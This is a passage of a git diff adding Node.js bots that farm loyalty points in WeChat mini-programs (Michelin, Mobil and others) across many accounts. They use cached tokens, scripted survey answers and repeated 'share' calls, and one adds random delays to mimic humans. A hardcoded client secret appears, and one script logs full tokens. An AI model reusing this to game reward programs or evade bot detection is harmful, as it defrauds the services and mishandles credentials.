(!t.headers) { - t.headers = {} - } - if (t.params) { - t.url += '?' + this.queryStr(t.params); - } - t.method = t.method.toLowerCase() - if (t.method.toLowerCase() === 'get') { - delete t.headers['Content-Type']; - delete t.headers['Content-Length']; - delete t["body"] - } - if (t.method.toLowerCase() === 'post') { - let contentType - - if (!t.body) { - t.body = "" - } else { - if (typeof t.body == "string") { - if (this.isJSONString(t.body)) { - contentType = 'application/json' - } else { - contentType = 'application/x-www-form-urlencoded' - } - } else if (this.isJson(t.body)) { - t.body = JSON.stringify(t.body) - contentType = 'application/json' - } - } - if (!t.headers['Content-Type']) { - t.headers['Content-Type'] = contentType; - } - delete t.headers['Content-Length']; - } - if (this.isNode()) { - this.initGotEnv(t); - let httpResult = await this.got(t) - if (this.isJSONString(httpResult.body)) { - httpResult.body = JSON.parse(httpResult.body) - } - return httpResult; - } - } - randomNumber(length) { - const characters = '0123456789'; - return Array.from({ length }, () => characters[Math.floor(Math.random() * characters.length)]).join(''); - } - randomString(length) { - const characters = 'abcdefghijklmnopqrstuvwxyz0123456789'; - return Array.from({ length }, () => characters[Math.floor(Math.random() * characters.length)]).join(''); - } - timeStamp() { - return new Date().getTime() - } - uuid() { - return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function (c) { - var r = Math.random() * 16 | 0, - v = c == 'x' ? r : (r & 0x3 | 0x8); - return v.toString(16); - }); - } - time(t) { - let s = { - "M+": new Date().getMonth() + 1, - "d+": new Date().getDate(), - "H+": new Date().getHours(), - "m+": new Date().getMinutes(), - "s+": new Date().getSeconds(), - "q+": Math.floor((new Date().getMonth() + 3) / 3), - S: new Date().getMilliseconds(), - }; - /(y+)/.test(t) && - (t = t.replace( - RegExp.$1, - (new Date().getFullYear() + "").substr(4 - RegExp.$1.length) - )); - for (let e in s) - new RegExp("(" + e + ")").test(t) && - (t = t.replace( - RegExp.$1, - 1 == RegExp.$1.length - ? s[e] - : ("00" + s[e]).substr(("" + s[e]).length) - )); - return t; - } - msg(s = t, e = "", i = "", o) { - const h = (t) => - !t || (!this.isLoon() && this.isSurge()) - ? t - : "string" == typeof t - ? this.isLoon() - ? t - : this.isQuanX() - ? { "open-url": t } - : void 0 - : "object" == typeof t && (t["open-url"] || t["media-url"]) - ? this.isLoon() - ? t["open-url"] - : this.isQuanX() - ? t - : void 0 - : void 0; - this.isMute || - (this.isSurge() || this.isLoon() - ? $notification.post(s, e, i, h(o)) - : this.isQuanX() && $notify(s, e, i, h(o))); - let logs = ['', '==============📣系统通知📣==============']; - logs.push(t); - e ? logs.push(e) : ''; - i ? logs.push(i) : ''; - console.log(logs.join('\n')); - this.logs = this.logs.concat(logs); - } - log(...t) { - t.length > 0 && (this.logs = [...this.logs, ...t]), - console.log(t.join(this.logSeparator)); - } - logErr(t, s) { - const e = !this.isSurge() && !this.isQuanX() && !this.isLoon(); - e - ? this.log("", `\u2757\ufe0f${this.name}, \u9519\u8bef!`, t.stack) - : this.log("", `\u2757\ufe0f${this.name}, \u9519\u8bef!`, t); - } - wait(t) { - return new Promise((s) => setTimeout(s, t)); - } - done(t = {}) { - const s = new Date().getTime(), - e = (s - this.startTime) / 1e3; - this.log( - "", - `\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${e} \u79d2` - ), - this.log(), - (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t); - } - })(t, s); -} diff --git a/wxapp/mifengjingxishe.js b/wxapp/mifengjingxishe.js new file mode 100644 index 00000000..129adaf2 --- /dev/null +++ b/wxapp/mifengjingxishe.js @@ -0,0 +1,285 @@ +/* +------------------------------------------ +@Author: sm +@Date: 2026.06.01 +@Description: 蜜蜂惊喜社微信小程序签到 +cron: 30 8 * * * +------------------------------------------ +变量名:mifengjingxishe +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行 +依赖变量:wx_server_url、wx_auth +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("蜜蜂惊喜社微信小程序签到"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const querystring = require("querystring"); + +const MINI_APP_ID = "wx3aa848f81dfa0967"; +const KDT_ID = "104905610"; +const USER_VERSION = "2.226.7.201"; +const CLIENT_ID = "4d65249d377b2c3ed8"; +const CLIENT_SECRET = "1cdc05151d64f3a4a6ebd0e9de64422a"; +const GRANT_TYPE = "yz_union"; +const API_BASE = "https://h5.youzan.com"; +const TOKEN_CACHE_FILE = path.join(__dirname, "mifengjingxishe_token_cache.json"); +const USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) MicroMessenger/3.9.12 MiniProgramEnv/Windows WindowsWechat/WMPF"; + +let ckName = "mifengjingxishe"; + +function readTokenCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} + +function writeTokenCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} + +function maskPhone(phone = "") { + return String(phone).replace(/^(\d{3})\d{4}(\d{4})$/, "$1****$2"); +} + +function maskToken(token = "") { + if (!token) return ""; + return token.length > 12 ? `${token.slice(0, 6)}***${token.slice(-6)}` : `${token.slice(0, 3)}***`; +} + +class Task { + constructor(openid) { + this.index = $.userIdx++; + this.openid = String(openid || "").trim(); + this.token = {}; + this.checkinId = ""; + } + + async run() { + const cached = this.getCachedToken(); + if (cached) { + this.token = cached; + $.log(`账号[${this.index}] 使用缓存token: ${maskToken(this.accessToken)}`); + if (!(await this.checkToken())) { + this.removeCachedToken(); + $.log(`账号[${this.index}] 缓存token失效,重新code登录`); + } + } + + if (!this.accessToken) { + await this.loginByWxCode(); + } + if (!this.accessToken) return; + + await this.getPoints("签到前"); + await this.getCheckinInfo(); + await this.getActivityInfo(); + await this.doCheckin(); + await this.getPoints("签到后"); + } + + getCachedToken() { + const cache = readTokenCache(); + return cache[this.openid] || null; + } + + saveCachedToken() { + if (!this.accessToken) return; + const cache = readTokenCache(); + cache[this.openid] = { + ...this.token, + updatedAt: new Date().toISOString(), + }; + writeTokenCache(cache); + } + + removeCachedToken() { + const cache = readTokenCache(); + if (cache[this.openid]) { + delete cache[this.openid]; + writeTokenCache(cache); + } + this.token = {}; + } + + get accessToken() { + return this.token.accessToken || this.token.access_token || ""; + } + + get sessionId() { + return this.token.sessionId || this.token.session_id || ""; + } + + buildExtraData() { + return JSON.stringify({ + is_weapp: 1, + sid: this.sessionId, + version: USER_VERSION, + client: "weapp", + bizEnv: "wsc", + }); + } + + buildUrl(apiPath, query = {}) { + const pathname = apiPath.replace(/^\/+/, ""); + const params = querystring.stringify({ + store_id: "", + app_id: MINI_APP_ID, + kdt_id: KDT_ID, + access_token: this.accessToken, + ...query, + }); + return `${API_BASE}/${pathname}?${params}`; + } + + getHeaders(extra = {}) { + return { + "User-Agent": USER_AGENT, + "Referer": `https://servicewechat.com/${MINI_APP_ID}/32/page-frame.html`, + "Extra-Data": this.buildExtraData(), + "Accept": "application/json, text/plain, */*", + ...extra, + }; + } + + async request({ method = "GET", apiPath, query = {}, data = {}, skipToken = false }) { + const oldToken = this.token; + if (skipToken) this.token = {}; + const options = { + method, + url: this.buildUrl(apiPath, query), + headers: this.getHeaders(method === "POST" ? { "Content-Type": "application/json" } : {}), + timeout: 15000, + validateStatus: () => true, + }; + if (method !== "GET") options.data = data; + if (skipToken) this.token = oldToken; + + const { status, data: result } = await axios.request(options); + if (status !== 200) throw new Error(`HTTP ${status}: ${typeof result === "string" ? result.slice(0, 200) : JSON.stringify(result)}`); + if (!result || result.code !== 0) { + const err = new Error(result?.msg || result?.message || JSON.stringify(result)); + err.code = result?.code; + throw err; + } + return result.data; + } + + async getWxCode() { + const wxServerUrl = process.env.wx_server_url; + const wxAuth = process.env.wx_auth; + if (!wxServerUrl || !wxAuth) throw new Error("未配置 wx_server_url 或 wx_auth"); + + const { status, data } = await axios.post( + `${wxServerUrl.replace(/\/$/, "")}/wx/getuserinfo`, + { appid: MINI_APP_ID, openid: this.openid }, + { + headers: { + auth: wxAuth, + "content-type": "application/json", + }, + timeout: 15000, + validateStatus: () => true, + } + ); + const code = data?.code || data?.data?.code; + if (status !== 200 || !code) throw new Error(`wx_server 获取code失败: HTTP ${status} ${JSON.stringify(data)}`); + return code; + } + + async loginByWxCode() { + try { + const code = await this.getWxCode(); + const data = await this.request({ + method: "POST", + apiPath: "wscshop/weapp/authorize.json", + skipToken: true, + data: { + appId: MINI_APP_ID, + clientId: CLIENT_ID, + clientSecret: CLIENT_SECRET, + grantType: GRANT_TYPE, + code, + }, + }); + this.token = data || {}; + this.saveCachedToken(); + $.log(`账号[${this.index}] 登录成功: ${data?.nick_name || data?.nickName || ""} ${maskPhone(data?.mobile)}`); + } catch (e) { + $.log(`账号[${this.index}] 登录失败: ${e.message || e}`); + } + } + + async checkToken() { + try { + await this.getPoints("缓存校验"); + return true; + } catch (e) { + return false; + } + } + + async getPoints(label = "积分") { + const data = await this.request({ apiPath: "wscump/integral/user_points.json" }); + const points = data?.current_points ?? data?.real_points ?? data?.total_points ?? "未知"; + $.log(`账号[${this.index}] ${label}: ${points}积分`); + return data; + } + + async getCheckinInfo() { + const data = await this.request({ apiPath: "wscump/checkin/show_checkin_page_v2.json" }); + this.checkinId = data?.checkinId || data?.checkin_id || ""; + this.showPage = data?.showPage ?? data?.show_page; + this.isShow = data?.isShow ?? data?.is_show; + $.log(`账号[${this.index}] 签到活动: checkinId=${this.checkinId || "未获取"} isShow=${this.isShow} showPage=${this.showPage}`); + return data; + } + + async getActivityInfo() { + return null; + } + + async doCheckin() { + if (!this.checkinId) { + $.log(`账号[${this.index}] 未获取到签到活动,跳过`); + return; + } + try { + const data = await this.request({ + apiPath: "wscump/checkin/checkinV2.json", + query: { checkinId: this.checkinId }, + }); + const award = (data?.list || []) + .map((item) => item?.infos?.title || item?.infos?.desc || "") + .filter(Boolean) + .join(", "); + $.log(`账号[${this.index}] 签到成功: ${data?.desc || ""}${award ? ` ${award}` : ""}`); + } catch (e) { + const message = String(e.message || e); + if (/已签到|已经签到|重复|今日.*签|参与次数/.test(message)) { + $.log(`账号[${this.index}] 今日已签到`); + return; + } + $.log(`账号[${this.index}] 签到失败: ${message}`); + if (e.code === -1 || e.code === 40010 || e.code === 40009 || /登录|token|access/i.test(message)) this.removeCachedToken(); + } + } +} + +!(async () => { + $.checkEnv(ckName); + for (const openid of $.userList) { + await new Task(openid).run(); + } +})() + .catch((e) => $.log(e.message || e)) + .finally(() => $.done()); diff --git a/wxapp/mimengshenghuo.js b/wxapp/mimengshenghuo.js new file mode 100644 index 00000000..b9b8d6f7 --- /dev/null +++ b/wxapp/mimengshenghuo.js @@ -0,0 +1,397 @@ +/* +------------------------------------------ +@Author: sm +@Date: 2026.06.09 +@Description: 米萌生活 登录/查询/签到/观看视频得米豆 +cron: 30 8 * * * +------------------------------------------ +变量名:mimengshenghuo +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行 + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 + +可选变量: +mimeng_video_times 限制每个账号本次最多执行几次视频任务,默认完成当天剩余次数 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("米萌生活"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); + +const CK_NAME = "mimengshenghuo"; +const APP = { name: "米萌生活", appid: "wx9939a74ee8a8522a" }; +const GQL_URL = "https://shd.luxingiot.com/graphql"; +const WX_SERVER_URL = (process.env.wx_server_url || "http://192.168.31.196:8787").replace(/\/$/, ""); +const WX_AUTH = process.env.wx_auth || ""; +const DEFAULT_OPENID = process.env.wx_openid || ""; +const TOKEN_CACHE_FILE = path.join(__dirname, "mimengshenghuo_token_cache.json"); +const USER_AGENT = + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) MicroMessenger/3.9.12 MiniProgramEnv/Windows WindowsWechat/WMPF"; + +function splitAccounts(value = "") { + return String(value) + .split(/\n|&/) + .map((item) => item.trim()) + .filter(Boolean); +} + +function short(value, max = 260) { + if (value === undefined || value === null) return ""; + const text = typeof value === "string" ? value : JSON.stringify(value); + return text.length > max ? `${text.slice(0, max)}...` : text; +} + +function maskToken(token = "") { + const value = String(token || ""); + return value.length > 16 ? `${value.slice(0, 8)}***${value.slice(-6)}` : `${value.slice(0, 4)}***`; +} + +function readTokenCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch { + return {}; + } +} + +function writeTokenCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} + +async function request(options) { + const res = await axios.request({ + timeout: 20000, + validateStatus: () => true, + ...options, + headers: { + "User-Agent": USER_AGENT, + Accept: "application/json, text/plain, */*", + ...(options.headers || {}), + }, + }); + return { status: res.status, headers: res.headers || {}, data: res.data }; +} + +async function getWxCode(openid) { + if (!WX_AUTH) throw new Error("未配置 wx_auth"); + const { status, data } = await request({ + method: "POST", + url: `${WX_SERVER_URL}/wx/code`, + headers: { auth: WX_AUTH, "content-type": "application/json" }, + data: { appid: APP.appid, openid }, + }); + const code = data?.data?.code || data?.code; + if (status !== 200 || !code) throw new Error(`获取code失败 HTTP ${status}: ${short(data)}`); + return code; +} + +function operationName(query) { + const match = /(query|mutation)\s*?([\w\d\-_]+)?\s*?(\(.*?\))?\s*?\{/.exec(query); + return match && match[2] ? match[2] : ""; +} + +class Mimeng { + constructor(openid, index) { + this.openid = openid; + this.index = index; + this.token = ""; + this.viewer = {}; + this.socialApp = {}; + this.checkIn = null; + this.videoTask = null; + } + + cacheKey() { + return this.openid; + } + + getCachedToken() { + const cache = readTokenCache(); + return cache[this.cacheKey()]?.token || ""; + } + + saveCachedToken() { + if (!this.token) return; + const cache = readTokenCache(); + cache[this.cacheKey()] = { + token: this.token, + uid: this.viewer.uid || "", + points: this.viewer.wallet?.points ?? "", + updatedAt: new Date().toISOString(), + }; + writeTokenCache(cache); + } + + removeCachedToken() { + const cache = readTokenCache(); + delete cache[this.cacheKey()]; + writeTokenCache(cache); + this.token = ""; + } + + async gql(query, variables = {}, token = this.token, allowFail = false) { + const body = { query, variables }; + const opName = operationName(query); + if (opName) body.operationName = opName; + + const headers = { + "content-type": "application/json", + "x-provider-id": APP.appid, + Referer: `https://servicewechat.com/${APP.appid}/21/page-frame.html`, + }; + if (token) headers.Authorization = `Bearer ${token}`; + + const res = await request({ + method: "POST", + url: GQL_URL, + headers, + data: body, + }); + + const errors = res.data?.errors || []; + if ((res.status !== 200 || errors.length) && !allowFail) { + throw new Error(`GraphQL失败 HTTP ${res.status}: ${short(res.data)}`); + } + return res.data; + } + + async login() { + const cached = this.getCachedToken(); + if (cached) { + this.token = cached; + $.log(`账号[${this.index}] 使用缓存token: ${maskToken(this.token)}`); + const ok = await this.checkToken(); + if (ok) return; + $.log(`账号[${this.index}] 缓存token失效,重新登录`); + this.removeCachedToken(); + } + + const code = await getWxCode(this.openid); + const res = await this.gql( + `mutation codeLogin($client_id: String! $code: String!) { + login(client_id: $client_id, code: $code) + }`, + { client_id: APP.appid, code }, + "", + true + ); + const token = res?.data?.login || ""; + if (!token) throw new Error(`登录未返回token: ${short(res)}`); + this.token = token; + $.log(`账号[${this.index}] 登录成功: ${maskToken(this.token)}`); + } + + async checkToken() { + const res = await this.gql( + `query ViewerBalance { + viewer { + uid + wallet { + points + } + } + }`, + {}, + this.token, + true + ); + return Boolean(res?.data?.viewer?.uid); + } + + async queryHome() { + const res = await this.gql( + `query home($client_id: String!) { + viewer { + uid + wallet { + points + } + todoActivityRecords { + id + progress + rewarded_at + completed_at + completed_at_today + completed_at_yesterday + activity { + auto_reward + button_action + full_rules { + reward_desc + reward_mode + reward_type + rule_desc + } + type + name + need_times + id + icon + description + cycle_quota + button_name + url + } + } + } + socialApp(client_id: $client_id) { + name + config + } + }`, + { client_id: APP.appid } + ); + + this.viewer = res.data.viewer || {}; + this.socialApp = res.data.socialApp || {}; + const records = this.viewer.todoActivityRecords || []; + this.checkIn = records.find((item) => item.activity?.name === "每日签到") || null; + this.videoTask = + records.find((item) => /视频/.test(item.activity?.name || "") || item.activity?.button_action === "seeVideo") || null; + + $.log(`查询:uid=${this.viewer.uid || "未知"} 米豆=${this.viewer.wallet?.points ?? "未知"} 小程序=${this.socialApp.name || APP.name}`); + if (this.checkIn) { + $.log( + `签到任务:id=${this.checkIn.activity.id} 今日${this.checkIn.completed_at_today ? "已完成" : "未完成"} progress=${this.checkIn.progress}/${this.checkIn.activity.cycle_quota}` + ); + } else { + $.log("签到任务:未找到"); + } + if (this.videoTask) { + $.log( + `视频任务:id=${this.videoTask.activity.id} 今日${this.videoTask.completed_at_today ? "已完成" : "未完成"} progress=${this.videoTask.progress}/${this.videoTask.activity.cycle_quota}` + ); + } else { + $.log("视频任务:未找到"); + } + } + + async pointsRecords() { + const res = await this.gql( + `query records { + viewer { + pointsRecords(page: 1) { + data { + amount + balance + action + created_at + in_out + reward_type + } + } + } + }`, + {}, + this.token, + true + ); + const records = res?.data?.viewer?.pointsRecords?.data || []; + if (records.length) { + const text = records + .slice(0, 5) + .map((item) => `${item.created_at} ${item.action} ${item.amount} 余额=${item.balance}`) + .join(" | "); + $.log(`米豆明细:${text}`); + } + } + + async activityPush(activityId, label) { + const res = await this.gql( + `mutation activity($activity_id: Int!) { + activityPush(id: $activity_id) { + code + message + reward_log { + action + reward_type + amount + balance + } + } + }`, + { activity_id: Number(activityId) }, + this.token, + true + ); + const result = res?.data?.activityPush; + if (!result) return `${label}失败: ${short(res)}`; + if (Number(result.code) === 0) { + const log = result.reward_log || {}; + return `${label}成功:${log.action || label} +${log.amount ?? 0}米豆,余额=${log.balance ?? "未知"}`; + } + return `${label}失败:${result.message || short(result)}`; + } + + async doSign() { + if (!this.checkIn) return "未找到签到任务"; + if (this.checkIn.completed_at_today) return "今日已签到"; + return this.activityPush(this.checkIn.activity.id, "签到"); + } + + async doVideo() { + if (!this.videoTask) return ["未找到视频任务"]; + const total = Number(this.videoTask.activity?.cycle_quota || 0); + const progress = Number(this.videoTask.progress || 0); + const remaining = Math.max(0, total - progress); + if (!remaining) return ["视频任务今日已完成"]; + + const limit = Number(process.env.mimeng_video_times || remaining); + const times = Math.max(0, Math.min(remaining, Number.isFinite(limit) ? limit : remaining)); + const results = []; + for (let i = 0; i < times; i++) { + results.push(await this.activityPush(this.videoTask.activity.id, `视频任务[${i + 1}/${times}]`)); + await $.wait(1200); + } + return results; + } + + async run() { + await this.login(); + await this.queryHome(); + $.log(`签到:${await this.doSign()}`); + const videos = await this.doVideo(); + for (const result of videos) $.log(`观看视频:${result}`); + await this.queryHome(); + await this.pointsRecords(); + this.saveCachedToken(); + } +} + +async function runAccount(openid, index) { + $.log(`\n========== ${APP.name} 账号[${index}] ${openid} ==========`); + const runner = new Mimeng(openid, index); + try { + await runner.run(); + } catch (e) { + $.log(`账号[${index}] 执行失败:${e.message || e}`); + } +} + +(async () => { + const accounts = splitAccounts(process.env[CK_NAME] || DEFAULT_OPENID || ""); + if (!accounts.length) { + $.log(`未配置 ${CK_NAME}`); + await $.done(); + return; + } + $.log(`共找到${accounts.length}个账号`); + for (let i = 0; i < accounts.length; i++) { + await runAccount(accounts[i], i + 1); + await $.wait(800); + } + await $.done(); +})().catch(async (e) => { + $.log(`脚本异常:${e.stack || e.message || e}`); + await $.done(); +}); diff --git a/wxapp/miqilin.js b/wxapp/miqilin.js new file mode 100644 index 00000000..08f3cb15 --- /dev/null +++ b/wxapp/miqilin.js @@ -0,0 +1,283 @@ +/* +------------------------------------------ +@Author: sm +@Date: 2024.06.07 19:15 +@Description: +cron: 30 9 * * * +------------------------------------------ +#Notice: +米其林会员 每日任务 +WeChatCodeServer 填写wx_server_url wx_auth 用于获取code +变量名称:miqilin +⚠️【免责声明】 +------------------------------------------ +1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。 +2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。 +3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。 +4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。 +5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。 +6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。 +7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。 +*/ + +const { + Env +} = require("../tools/env") +const $ = new Env("米其林会员小程序"); +const WeChatServer = require("./wcs.js"); +let ckName = `miqilin`; +const strSplitor = "#"; +const axios = require("axios"); +const defaultUserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001e31) NetType/WIFI Language/zh_CN miniProgram" +let wechat = new WeChatServer({ + url: process.env.wx_server_url || 'http://192.168.31.196:12081', + appid: 'wx14413dafd16b9540', + auth: process.env.wx_auth || "your-api-key", + +} +); + +class Task { + constructor(env) { + this.index = $.userIdx++ + this.user = env.split(strSplitor); + this.token = null + this.wcsid = this.user[0] + this.isSign = false + } + + async run() { + //随机延迟5-30s 模拟人工操作 + await $.wait(Math.floor(Math.random() * 20 + 5) * 1000); + let { data: codeRes } = await wechat.getCode(this.wcsid) + if (codeRes.status) { + await this.getUserToken(codeRes.data.code) + } + if (!this.token) { + $.log(`账号[${this.index}] 获取用户Token失败❌`) + return + } + this.token = 'Bearer ' + this.token + await this.getUserInfo() + await this.doPaper() + for (let i = 0; i < 10; i++) { + await this.share(); + } + } + async share() { + const options = { + method: 'POST', + url: `https://ulp.michelin.com.cn/op/points/share/have`, + headers: { + "Host": "ulp.michelin.com.cn", + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 15_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001f37) NetType/WIFI Language/zh_CN", + "Authorization": this.token, + }, + data: { "type": "ARTICLE", "code": "COM-MHT-93" } + }; + //post方法 + let { data: result } = await axios.request(options); + + $.log(`转发:${result?.code != 200 ? "转发失败" + result?.message : "转发成功!"}`) + } + async getUserToken(code) { + let options = { + method: 'GET', + url: `https://ulp.michelin.com.cn/bff/wechat/login/${code}`, + headers: { + "Host": "ulp.michelin.com.cn", + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 15_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001f37) NetType/WIFI Language/zh_CN", + "Referer": "https://servicewechat.com/wx14413dafd16b9540/130/page-frame.html" + } + + } + let { + data: result + } = await axios.request(options); + + this.token = result?.data?.token?.access_token; + $.log(`🌸账号[${this.index}] 获取用户Token成功:${this.token}`) + + } + + async getUserInfo() { + try { + let { data: result } = await axios.request({ + method: 'GET', + url: `https://ulp.michelin.com.cn/bff/profile`, + headers: { + "Host": "ulp.michelin.com.cn", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781 NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF XWEB/50249", + "Authorization": this.token, + } + }); + + + if (result?.data?.points) { + $.log(`账号[${this.index}] 获取用户积分成功:${result?.data?.points}`) + } else { + $.log(`账号[${this.index}] 获取用户积分失败❌`) + } + + + } catch (e) { + this.ckStatus = false; + console.log(`❌查询积分失败!原因为:${e}`); + } + } + async doPaper() { + //获取问卷 + await this.getPaper(); + //是否已完成问卷 + if (this.paperStatus) { + //获取本期问卷题目 + await this.getOpenTpaper(this.npsPaperCode); + let index = 1; + for (let question of this.questionList) { + $.log(`问题${index}:${question?.questionChoise?.stemHtml}\n`); + let options = question?.questionChoise.options; + for (let option of options) { + $.log(`- ${option.optionHtml}`); + } + let theQuestion = question.questionChoise.npsQuestionPk; + //查找对应题目答案 + let detail = this.stdAnswers.find(answer => theQuestion == answer.npsQuestionChoisePk) || {}; + let answer = options.find(o => o.npsQuestionChoiseOptionPk == detail.npsQuestionChoiseOptionPk); + if (!answer) answer = options[0]; // 如果没有找到匹配的答案,默认选择第一个选项 + //提交答案 + let answerRes = await this.answer(theQuestion, answer?.npsQuestionChoiseOptionPk); + $.log(`\n答案: ${answer.optionHtml} => ${answerRes}`); + } + //提交问卷 + await this.paperScore(this.paperCode); + } else { + $.log(`答题任务:本周奖励领取已达到上限,跳过执行`); + } + } + + //获取本期答卷 + async getPaper() { + + const options = { + method: 'POST', + url: `https://ulp.michelin.com.cn/campaign/paper/user`, + headers: { + "Host": "ulp.michelin.com.cn", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781 NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF XWEB/50249", + "Authorization": this.token, + }, + data: {} + }; + + let { data: result } = await axios.request(options); + if (result?.code == 200) { + $.log(`帐号[${this.index}]本次调查问卷为${result?.data?.npsPaperCode},总共${result?.data?.questionNum}道题目,状态为${result?.data?.status}`); + //如果已经答题,则跳过执行答题任务 + if (result?.data?.status == 'DONE') this.paperStatus = false; + //获取本期问卷期数 + this.npsPaperCode = result?.data?.npsPaperCode; + //获取本期问卷验证编号 + this.paperCode = result?.data?.paperCode; + } else { + this.ckStatus = false; + } + + } + //获取问卷题目 + async getOpenTpaper(npsPaperCode) { + + let options = { + method: 'GET', + url: `https://ulp.michelin.com.cn/npspaper/nps-admin/open/api/cp/public/get_open_tpaper/${npsPaperCode}`, + headers: { + "Host": "ulp.michelin.com.cn", + "User-Agent": "", + "Authorization": this.token, + } + } + + //post方法 + let result = await axios.request(options); + if (result?.success) { + //答案 + this.stdAnswers = result?.data?.stdAnswers; + //题目 + this.questionList = result?.data?.questionList; + } else { + $.log(`🔴帐号[${this.index}]获取问卷列表失败!${result?.message}`) + } + + } + + async answer(question, answer) { + try { + const options = { + url: `https://ulp.michelin.com.cn/campaign/paper/user/answer`, + method: 'POST', + headers: { + "Host": "ulp.michelin.com.cn", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781 NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF XWEB/50249", + "Authorization": this.token, + }, + data: { "answerOptionId": [`${answer}`], "paperCode": `${this.paperCode}`, "questionId": `${question}` } + }; + //post方法 + let { data: result } = await axios.request(options); + return result?.code == 200 ? "回答成功!" : `回答失败!${result?.message}` + } catch (e) { + console.log(`❌回答问题失败!原因为:${e}`); + } + } + + async paperScore(paperCode) { + try { + const options = { + url: `https://ulp.michelin.com.cn/campaign/paper/score/${paperCode}`, + data: {} + }; + //post方法 + let { data: res } = await axios.request(options); + $.log(`提交问卷:本期问卷正确率为${res?.data?.score}%,排名${res.data.rank}`); + } catch (e) { + console.log(`❌提交问卷失败!原因为:${e}`); + } + } + + + +} + +!(async () => { + await getNotice() + $.checkEnv(ckName); + if (process.env['wx_server_url'] && process.env['wx_auth']) { + for (let user of $.userList) { + await new Task(user).run(); + } + } else { + + $.log(`${ckName}未配置微信SERVER配置 搭建可看仓库目录下的readme.md❌`) + return + } + +})() + .catch((e) => console.log(e)) + .finally(() => $.done()); + +async function getNotice() { + try { + let options = { + url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`, + headers: { + "User-Agent": defaultUserAgent, + }, + timeout: 3000 + } + let { + data: res + } = await axios.request(options); + $.log(res) + return res + } catch (e) { } + +} diff --git a/wxapp/mobil.js b/wxapp/mobil.js new file mode 100644 index 00000000..4c7d42be --- /dev/null +++ b/wxapp/mobil.js @@ -0,0 +1,330 @@ +/* +------------------------------------------ +@Description: 美孚臻享俱乐部 - 微信小程序静默登录 + 每日签到 +cron: 33 8 * * * +------------------------------------------ +变量名:mobil +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(appid wx46f9572cac706c22,host www.rewards.mobil.com.cn,SHOPWIND/Yii2 框架): +(迁移自 YYB-GO 系脚本 美孚.js,原脚本已 code 登录,无签名,token 放头) + +所有请求走 /web/index.php?_mall_id=1&r=;token 放 X-Access-Token 头,会话 cookie 随任务保持。 +登录 POST r=api/passport/login form{code} -> code==0,data.access_token(=token)、data.ulp_user_id +会员 GET r=api/kc/user/user-info -> code==0,data.ulp_user_id / data.ulp_user_info(会员态) +任务 GET r=api/kc/user/user-task -> data.data.need_improve_user_info(1=需完善信息=未注册会员) +状态 GET r=api/kc/user/user-sign-info -> code==0,data.now_date_is_sign(今日是否已签) 